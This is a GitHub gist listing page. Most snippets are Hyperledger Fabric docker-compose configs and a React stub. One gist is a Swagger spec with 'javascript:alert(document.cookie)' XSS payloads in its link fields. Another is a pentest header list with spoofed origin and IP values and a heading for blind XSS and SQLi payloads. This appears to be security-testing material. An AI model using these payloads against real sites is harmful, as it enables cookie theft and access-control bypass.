Skip to content

Instantly share code, notes, and snippets.

View mohammadobaid1's full-sized avatar
🏠
Working from home

Muhammad Obaid mohammadobaid1

🏠
Working from home
View GitHub Profile
@mohammadobaid1
mohammadobaid1 / xsstest.json
Created December 1, 2019 14:54
xsstest.json
swagger: "2.0",
info:
title: "Swagger Sample App",
description: "Please to click Terms of service"
termsOfService: "javascript:alert(document.cookie)"
contact:
name: "API Support",
url: "javascript:alert(document.cookie)",
email: "javascript:alert(document.cookie)"
version: "1.0.1"
@mohammadobaid1
mohammadobaid1 / headersPentest
Created August 17, 2019 17:16 — forked from momenbasel/headersPentest
HTTP headers is the language that all web servers speaks, it can be golden gem for security researcher.
X-Forwarded-Host
X-Forwarded-Port
X-Forwarded-Scheme
Origin: null
Origin: [siteDomain].attacker.com
X-Frame-Options: Allow
X-Forwarded-For: 127.0.0.1
X-Client-IP: 127.0.0.1
Client-IP: 127.0.0.1
---For injecting BXSS(blind XSS) || SQLI payloads---
@mohammadobaid1
mohammadobaid1 / headersPentest
Created August 17, 2019 17:16 — forked from momenbasel/headersPentest
HTTP headers is the language that all web servers speaks, it can be golden gem for security researcher.
X-Forwarded-Host
X-Forwarded-Port
X-Forwarded-Scheme
Origin: null
Origin: [siteDomain].attacker.com
X-Frame-Options: Allow
X-Forwarded-For: 127.0.0.1
X-Client-IP: 127.0.0.1
Client-IP: 127.0.0.1
---For injecting BXSS(blind XSS) || SQLI payloads---
@mohammadobaid1
mohammadobaid1 / cli.yaml
Last active December 11, 2018 18:09
cli.yaml
version : "3"
cli:
image: hyperledger/fabric-tools
tty: true
environment:
- GOPATH=/opt/gopath
- CORE_VM_ENDPOINT=unix:///host/var/run/docker.sock
- CORE_LOGGING_LEVEL=DEBUG
- CORE_PEER_ID=cli
@mohammadobaid1
mohammadobaid1 / peer.yaml
Last active December 11, 2018 18:02
Peer.yaml
version : "3"
services:
deanpeerfirst:
image: hyperledger/fabric-peer:1.2.1
networks:
- fabric
ports:
- 7051:7051
- 7053:7053
@mohammadobaid1
mohammadobaid1 / orderer.yaml
Created December 11, 2018 17:45
orderer.yaml
version: '3'
services:
orderer1st:
image: hyperledger/fabric-orderer:1.2.1
ports:
- 7050:7050
networks:
- fabric
@mohammadobaid1
mohammadobaid1 / kafka.yaml
Last active December 11, 2018 17:42
kafka.yaml
version: '3'
services:
kafka1st:
image: hyperledger/fabric-kafka
restart: always
networks:
- fabric
environment:
- KAFKA_MESSAGE_MAX_BYTES=103809024
@mohammadobaid1
mohammadobaid1 / configtx.yaml
Last active December 12, 2018 07:51
Hyperledger fabric gists
#
# Copyright 2018 IBM All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
@mohammadobaid1
mohammadobaid1 / index.html
Last active October 4, 2018 18:17
ReactFirstday
<div id="root"></div>
<!-- Our React app will be rendered inside this div -->
<div id="root"></div>